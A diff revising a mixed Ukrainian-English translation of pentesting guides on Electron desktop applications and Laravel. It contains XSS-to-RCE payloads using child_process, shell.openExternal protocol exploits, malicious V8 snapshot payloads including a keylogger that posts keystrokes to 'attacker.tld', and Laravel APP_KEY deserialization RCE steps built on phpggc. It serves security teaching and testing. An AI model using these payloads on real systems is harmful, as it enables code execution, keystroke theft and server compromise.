бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча він не має деяких механізмів безпеки сучасних браузерів. +Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів. -Зазвичай код Electron-додатку можна знайти всередині `.asar` пакета; щоб отримати код, потрібно його розпакувати: +Зазвичай код Electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно екстрагувати: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлені security configs. +У вихідному коді Electron app, всередині файлу `packet.json`, вказано файл `main.js`, у якому встановлено налаштування безпеки. ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file ``` Electron має 2 типи процесів: -- Main Process (має повний доступ до NodeJS) -- Renderer Process (повинен мати обмежений доступ до NodeJS з міркувань безпеки) +- Головний процес (має повний доступ до NodeJS) +- Рендер-процес (повинен мати обмежений доступ до NodeJS з міркувань безпеки) ![](<../../../images/image (182).png>) -Процес **renderer process** буде вікном браузера, яке завантажує файл: +**Рендер-процес** — це вікно браузера, яке завантажує файл: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE в Electron application** або іншим вразливостям, якщо **налаштування правильно сконфігуровані**. +Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE** в Electron application або іншим вразливостям, якщо **налаштування правильно встановлені**. -Electron application **може отримати доступ до пристрою** через Node apis, хоча це можна налаштувати, щоб запобігти цьому: +Electron application **може отримувати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому: -- **`nodeIntegration`** - за замовчуванням `off`. Якщо `on`, дозволяє доступ до Node features з **renderer process**. -- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main і renderer processes не ізольовані. -- **`preload`** - за замовчуванням порожній. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Він обмежує дії, які може виконувати NodeJS. +- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до Node API з **renderer process**. +- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main та renderer processes не ізольовані. +- **`preload`** - порожній за замовчуванням. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Обмежує дії, які може виконувати NodeJS. - Node Integration in Workers - **`nodeIntegrationInSubframes`** - за замовчуванням `off`. -- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application. -- Якщо **`nodeIntegration`** **вимкнено**, тоді preloads будуть завантажуватися в iframe +- Якщо **`nodeIntegration`** **увімкнено**, це дозволяє використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application. +- Якщо **`nodeIntegration`** **відключено**, то preload-скрипти завантажуватимуться в iframe + +Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", @@ -69,7 +71,7 @@ spellcheck: true, }, } ``` -Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt): +Кілька **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Захоплення трафіку +### Перехоплення трафіку Змініть конфігурацію start-main і додайте використання proxy, наприклад: ```javascript @@ -101,7 +103,8 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` ## Electron Local Code Injection -Якщо ви можете локально запускати Electron App, можливо, ви зможете змусити його виконувати довільний JavaScript-код. Дивіться як у: +Якщо ви можете виконати локально Electron App, можливо, ви зможете змусити його виконувати довільний javascript code. Див. як у: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -109,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликавши `require()`. Наприклад, спосіб запустити додаток calc у Windows такий: +Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити додаток calc у Windows такий: ```html ``` -> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює** +> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не працюватиме** ## RCE: XSS + contextIsolation The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. -Якщо контексти не ізольовані, атакувальник може: +If the contexts aren't isolated an attacker can: -1. Виконати **довільний JavaScript у renderer** (XSS або перехід на зовнішні сайти) -2. **Перезаписати вбудований метод**, який використовується в preload або у внутрішньому коді Electron, щоб отримати контроль над функцією -3. **Спровокувати** використання **перезаписаної функції** +1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites) +2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function +3. **Trigger** the use of **overwritten function** 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: @@ -178,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md ### Обхід події click -Якщо при кліку на посилання застосовано обмеження, можливо, ви зможете обійти їх, **зробивши middle click** замість звичайного left click +If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click ```javascript window.addEventListener('click', (e) => { ``` ## RCE через shell.openExternal -Для отримання додаткової інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +Для детальнішої інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Під час розгортання Electron desktop application важливо правильно налаштувати `nodeIntegration` і `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямоване на preload scripts або Electron's native code з main process, ефективно запобігається при таких налаштуваннях. +Під час розгортання Electron desktop application важливо переконатися у правильних налаштуваннях `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямовані на preload scripts або нативний код Electron з main process, ефективно запобігаються при таких налаштуваннях. -Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку: +Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критичними для безпеки та функціональності додатку: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Ці обробники подій **перевизначаються настільним застосунком**, щоб реалізувати його власну **бізнес-логіку**. Застосунок вирішує, чи відкривати навігаційне посилання всередині додатку чи у зовнішньому веб-браузері. Це рішення зазвичай приймається у функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкривати зовні, використовуючи `shell.openExternal`. +Ці обробники подій **перевизначаються десктопним додатком**, щоб реалізувати власну **бізнес-логіку**. Додаток визначає, чи має посилання відкриватися всередині програми чи у зовнішньому веб-браузері. Зазвичай це рішення приймається в функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання має відкриватися зовнішньо з використанням функції `shell.openExternal`. **Here is a simplified pseudocode:** @@ -201,11 +204,11 @@ webContents.on("will-navigate", function (event, url) {} ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Практики безпеки Electron JS радять не приймати недовірений контент через функцію `openExternal`, оскільки це може привести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів і пояснень з цього питання зверніться до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), де наведені приклади Windows-протоколів, здатних експлуатувати цю вразливість. +Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість. -У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`. +У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад у `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Приклади експлойтів протоколів Windows включають:** +**Examples of Windows protocol exploits include:** ```html ``` -## **RCE: XSS + Old Chromium** +## **RCE: XSS + старий chromium** -Якщо **chromium**, що використовується додатком, є **старим**, і на ньому є **відомі** **vulnerabilities**, може бути можливо експлуатувати його і отримати **RCE** через **XSS**.\ -Приклад можна побачити в цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) +Якщо **chromium**, що використовується додатком, є **старим** і в ньому є **відомі** **вразливості**, можливо, що ви зможете **експлуатувати їх і отримати RCE через XSS**.\\ +Приклад можна побачити в цьому **описі**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **XSS Phishing via Internal URL regex bypass** +## **XSS Phishing через обхід regex для внутрішніх URL** -Припустимо, ви знайшли **XSS**, але **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати його, щоб **викрасти credentials через phishing**. +Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або викрасти внутрішні файли**, тоді ви можете спробувати використати його, щоб **вкрасти облікові дані через phishing**. -Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS код у front-end: +Насамперед потрібно зрозуміти, що відбувається, коли ви намагаєтеся відкрити нову URL-адресу, перевіривши JS-код у front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -Виклик до **`openInternally`** вирішує, чи **посилання** буде **відкрито** у **вікні десктоп-додатка**, оскільки воно належить платформі, **або** чи буде відкрито у **браузері як сторонній ресурс**. +Виклик **`openInternally`** визначає, чи **link** буде **opened** у **desktop window**, оскільки це посилання, яке належить платформі, **or** чи воно буде відкрито у **browser as a 3rd party resource**. -У випадку, якщо **regex**, який використовує функція, **вразливий до обходів** (наприклад через **неекранування крапок у субдоменах**), атакуючий може зловживати XSS, щоб **відкрити нове вікно**, яке буде розташоване в інфраструктурі атакуючого та **запитувати у користувача облікові дані**: +У випадку, якщо **regex**, який використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** буде розміщено в інфраструктурі атакуючого, **asking for credentials** у користувача: ```html ``` -## `file://` протокол +## `file://` Protocol -Як зазначено в [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що запускаються через **`file://`**, мають односторонній доступ до всіх файлів на вашому комп'ютері, що означає, що **XSS** може бути використано для завантаження довільних файлів з машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише обслуговуванням певного набору файлів. +As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **власний протокол** prevents issues like this as you can limit the protocol to only serving a specific set of files. -## Модуль Remote +## Remote module -Модуль Remote в Electron дозволяє **renderer processes to access main process APIs**, полегшуючи комунікацію в межах Electron-додатку. Проте увімкнення цього модуля створює значні ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як cross-site scripting (XSS). +The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. > [!TIP] -> Хоча модуль **remote** експонує деякі API з main у renderer процеси, отримати RCE лише через зловживання цими компонентами не так просто. Проте компоненти можуть розкривати чутливу інформацію. +> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. > [!WARNING] -> Багато додатків, що досі використовують модуль **remote**, роблять це так, що **require NodeIntegration to be enabled** у renderer-процесі, що є **великою загрозою безпеці**. +> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**. -Починаючи з Electron 14, модуль `remote` може бути ввімкнений кількома способами, але з міркувань безпеки та продуктивності **рекомендується не використовувати його**. +Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. -Щоб увімкнути його, спочатку потрібно **увімкнути його в main процесі**: +To enable it, it'd first needed to **увімкнути його в main process**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() @@ -317,37 +320,37 @@ mainWindow = new BrowserWindow({ }) remoteMain.enable(mainWindow.webContents) ``` -Тоді renderer process може імпортувати об'єкти з модуля так: +Тоді процес рендерера може імпортувати об'єкти з модуля, наприклад: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** зазначає кілька цікавих **функцій**, що експонуються об'єктом **`app`** з remote module: +The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з remote module: - **`app.relaunch([options])`** -- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**. +- **Перезапускає** додаток шляхом **закриття** поточного екземпляра та **запуску** нового. Корисно для **app updates** або значних **змін стану**. - **`app.setAppLogsPath([path])`** -- **Визначає** або **створює** директорію для збереження **журналів додатку**. Журнали можна **отримати** або **змінити**, використовуючи **`app.getPath()`** або **`app.setPath(pathName, newPath)`**. +- **Визначає** або **створює** каталог для зберігання **app logs**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **власний шлях** та **аргументи**. +- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **protocol**. Можна вказати власний шлях та аргументи за потреби. - **`app.setUserTasks(tasks)`** -- **Додає** завдання до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як **запускається** додаток або які **аргументи** передаються. +- **Додає** tasks до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються. - **`app.importCertificate(options, callback)`** -- **Імпортує** сертифікат **PKCS#12** у системне **сховище сертифікатів** (тільки для Linux). Для обробки результату можна використати **callback**. +- **Імпортує** PKCS#12 certificate у системне certificate store (лише Linux). Можна використовувати **callback** для обробки результату. - **`app.moveToApplicationsFolder([options])`** -- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac. +- **Переміщує** додаток у **Applications folder** (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac. - **`app.setJumpList(categories)`** -- **Встановлює** або **видаляє** **кастомний Jump List** у **Windows**. Ви можете вказати **категорії** для організації того, як завдання відображаються користувачу. +- **Встановлює** або **видаляє** кастомний Jump List на Windows. Можна вказати **categories** для організації того, як завдання відображаються користувачу. - **`app.setLoginItemSettings(settings)`** -- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом з їхніми **опціями** (тільки для macOS і Windows). +- **Налаштовує**, які виконувані файли запускаються при вході в систему разом із їхніми **опціями** (лише macOS та Windows). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` -## модуль systemPreferences +## systemPreferences module -Це **основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі є **частиною** цього модуля. +Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі **є частиною** цього модуля. **Приклад використання:** ```javascript @@ -364,31 +367,31 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **Слухає** **нативні macOS notifications** за допомогою NSDistributedNotificationCenter. -* До **macOS Catalina** можна було **sniff** **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver. -* Після **Catalina / Big Sur**, sandboxed apps все ще можуть **subscribe** до **багатьох подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) реєструючи notifications **за назвою**. +* **Слухає** рідні macOS notifications за допомогою NSDistributedNotificationCenter. +* До **macOS Catalina** ви могли sniff **всі** distributed notifications, передаючи **nil** до CFNotificationCenterAddObserver. +* Після **Catalina / Big Sur** sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**. ### **getUserDefault / setUserDefault** -* **Інтерфейсує** з **NSUserDefaults**, який зберігає **налаштування** додатка або **глобальні** налаштування на macOS. +* **Взаємодіє** з NSUserDefaults, який зберігає **application** або **global** preferences на macOS. -* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**. +* **getUserDefault** може **отримувати** чутливу інформацію, таку як **recent file locations** або **географічне розташування користувача**. -* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатка. +* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатку. -* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults. +* У **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults. ## Shell.showItemInFolder -Ця функція показує вказаний файл у file manager, який **може автоматично виконати файл**. +Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy -Electron apps повинні мати **Content Security Policy (CSP)**, щоб **запобігти XSS attacks**. **CSP** — це **стандарт безпеки**, що допомагає **запобігати виконанню ненадійного коду** в браузері. +Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser. -Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **meta tag**. +It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**. For more information check: @@ -400,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/ ## **Tools** -- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення misconfigurations та security anti-patterns в Electron-based applications. -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, що використовує Electronegativity. -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих third party libraries +- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations та security anti-patterns в Electron-based applications. +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, який використовує Electronegativity. +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек. - [**Electro.ng**](https://electro.ng/): Потрібно купити ## Labs -В [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторну роботу з експлуатації вразливих Electron apps. +У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви знайдете лабораторне завдання для експлуатації вразливих Electron apps. -Декілька команд, що допоможуть у лабі: +Декілька команд, які допоможуть вам у лабораторній роботі: ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -438,12 +441,12 @@ Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at star Ключові моменти - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. -- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). -- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. -- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. +- Attack preconditions: Локальний запис файлів у директорію інсталяції програми. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з обмеженнями на macOS). +- Effect: Надійне виконання attacker JavaScript в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дає можливість персистенції та обходу перевірки підпису коду. +- Affected surface: Electron apps (навіть з увімкненими fuses) та браузери на базі Chromium, які завантажують snapshots з локацій доступних для запису користувачем. -Generating a malicious snapshot without building Chromium -- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. +Генерація зловмисного snapshot без збірки Chromium +- Використайте попередньо зібраний electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin програми. Example minimal payload (prove execution by forcing a crash) ```js @@ -460,10 +463,10 @@ throw new Error("testing isArray gadget"); }; ``` Isolate-aware payload routing (run different code in main vs. renderer) -- Виявлення головного процесу: глобальні змінні лише для Node, такі як process.pid, process.binding(), або process.dlopen, присутні в ізоляції головного процесу. -- Виявлення Browser/renderer: глобальні змінні лише для Browser, такі як alert, доступні при виконанні в документному контексті. +- Main process detection: Глобальні змінні, притаманні лише Node (наприклад process.pid, process.binding(), process.dlopen), присутні в ізоляції main process. +- Browser/renderer detection: Глобальні змінні, притаманні лише браузеру (наприклад alert), доступні під час виконання в контексті документа. -Приклад гаджета, який один раз перевіряє можливості Node у головному процесі +Приклад gadget, який одноразово перевіряє можливості Node у main-process ```js const orig = Array.isArray; @@ -492,7 +495,7 @@ process.exit(0); return orig(...arguments); }; ``` -PoC викрадення даних у Renderer/browser-context (наприклад, Slack) +Renderer/browser-context PoC викрадення даних (наприклад, Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -516,21 +519,21 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no return orig(...arguments); }; ``` -Operator workflow -1) Напишіть payload.js, який clobbers поширений builtin (наприклад, Array.isArray) і опційно розгалужується по isolate. -2) Build the snapshot without Chromium sources: +Робочий процес оператора +1) Напишіть payload.js, який перезаписує загальну вбудовану функцію (наприклад, Array.isArray) і, за потреби, розгалужується по isolate. +2) Зберіть snapshot без джерел Chromium: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) Перезапишіть snapshot-файл(и) цільового додатка: -- v8_context_snapshot.bin (always used) -- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) -4) Запустіть додаток; gadget виконується щоразу, коли використовується вибраний builtin. +3) Перезапишіть файл(и) snapshot цільового застосунку: +- v8_context_snapshot.bin (завжди використовується) +- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot) +4) Запустіть застосунок; гаджет виконується щоразу, коли використовується обрана вбудована функція. -Notes and considerations +Примітки та зауваження - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. -Detection and mitigations +Виявлення і пом'якшення - Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). - Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. - Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index e1cafc574..30c231059 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -Детальніше читайте тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Інформацію про це див. тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Encryption internals (Laravel \u003e=5.6) +## APP_KEY & Внутрішні механізми шифрування (Laravel \u003e=5.6) Laravel використовує AES-256-CBC (або GCM) з HMAC для забезпечення цілісності під капотом (`Illuminate\\Encryption\\Encrypter`). -Сирий шифртекст, який в кінцевому підсумку **відправляється клієнту**, — це **Base64 of a JSON object**, наприклад: +Сирий шифротекст, який в кінцевому підсумку **відправляється клієнту**, — це **Base64 JSON-об'єкта** такого вигляду: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,9 +20,9 @@ Laravel використовує AES-256-CBC (або GCM) з HMAC для заб "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` за замовчуванням викликає `serialize()` для відкритого тексту, тоді як -`decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. -Отже **будь-який зловмисник, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований серіалізований PHP об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` за замовчуванням викликає `serialize()` для plaintext, тоді як +`decrypt($payload, $unserialize=true)` **автоматично виконує `unserialize()`** для розшифрованого значення. +Отже **будь-який атакувальник, який знає 32-байтовий секрет `APP_KEY`, може сфабрикувати зашифрований PHP serialized object і отримати RCE через magic methods (`__wakeup`, `__destruct`, …)**. Мінімальний PoC (framework ≥9.x): ```php @@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (route param, cookie, session, …). +Інжектуйте отриманий рядок у будь-який вразливий `decrypt()` sink (route param, cookie, session, …). --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний режим **bruteforce**: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує увесь процес і додає зручний режим **bruteforce**: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -47,11 +47,11 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -Скрипт прозоро підтримує як CBC, так і GCM payloads і перегенерує поле HMAC/tag. +Скрипт прозоро підтримує обидва CBC та GCM payloads і повторно генерує поле HMAC/tag. --- -## Реальні вразливі шаблони +## Реальні шаблони вразливостей | Проект | Вразливий sink | Gadget chain | |--------|----------------|--------------| @@ -59,13 +59,13 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -Порядок експлуатації завжди: -1. Отримати або brute-force 32-байтовий `APP_KEY`. -2. Побудувати gadget chain за допомогою **PHPGGC** (наприклад `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`). -3. Зашифрувати серіалізований gadget за допомогою **laravel_crypto_killer.py** і відновленого `APP_KEY`. -4. Доставити ciphertext до вразливого `decrypt()` sink (route parameter, cookie, session …), щоб викликати **RCE**. +Послідовність експлуатації завжди така: +1. Отримайте або brute-force 32-байтовий `APP_KEY`. +2. Побудуйте gadget chain за допомогою **PHPGGC** (наприклад `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`). +3. Зашифруйте серіалізований gadget за допомогою **laravel_crypto_killer.py** та відновленого `APP_KEY`. +4. Доставте ciphertext до вразливого `decrypt()` sink (route parameter, cookie, session …), щоб викликати 